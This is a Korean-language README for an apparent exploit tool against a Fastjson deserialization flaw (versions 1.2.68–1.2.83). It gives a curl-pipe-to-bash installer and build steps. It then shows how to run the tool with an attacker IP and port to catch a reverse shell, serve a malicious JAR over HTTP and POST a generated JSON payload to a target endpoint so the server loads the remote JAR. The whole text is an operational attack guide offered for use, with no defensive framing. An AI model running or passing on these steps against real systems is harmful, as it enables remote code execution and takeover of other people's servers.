
Fastjson 1.2.68 – 1.2.83 버전에 영향을 미치는 치명적인 취약점.
Linux(또는 Windows의 WSL)
C++17 호환 컴파일러(GCC 7+ 또는 Clang 5+)
CMake 3.10 이상
시스템 패키지:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
단일 명령으로 모든 것을 설치합니다:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
또는 설치 프로그램을 수동으로 다운로드하여 실행합니다:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
설치 스크립트는 다음을 수행합니다:
필요한 모든 시스템 패키지를 설치합니다.
필요한 헤더 전용 라이브러리를 다운로드합니다:
nlohmann/jsoncpp-httplib프로젝트를 빌드합니다.
컴파일된 바이너리를 현재 디렉터리에 다음 이름으로 배치합니다:
./exploit
저장소를 클론한 경우:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
또는 수동으로 빌드합니다:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
바이너리를 실행합니다:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
실행 후 다음 파일이 생성됩니다:
x
body.json
HTTP 서버는 구성된 포트(기본값: 8000)에서 시작되며, 도구는 들어오는 리버스 셸 연결을 기다립니다.
생성된 body.json 파일을 취약한 엔드포인트로 전송합니다:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
애플리케이션이 다른 JSON 필드를 기대하는 경우 --field 옵션을 사용하여 지정합니다.
| File | Description |
|---|---|
x | 생성된 JAR 페이로드 |
body.json | 대상에 보낼 JSON 페이로드 |
jar:http 및 jar:file 프로토콜을 사용하여 원격 JAR을 다운로드하고 로드하도록 강제합니다.| Option | Description | Default |
|---|
--lhost | 로컬 IP 주소 | 필수 |
--lport | 리버스 셸 수신 포트 | 4444 |
--http-port | HTTP 서버 포트 | 8000 |
--first | 시도할 첫 번째 파일 디스크립터 | 3 |
--last | 시도할 마지막 파일 디스크립터 | 30 |
--field | JSON 필드 이름 | facets |
--outdir | 출력 디렉터리 | . |
-h, --help | 도움말 메시지 표시 | — |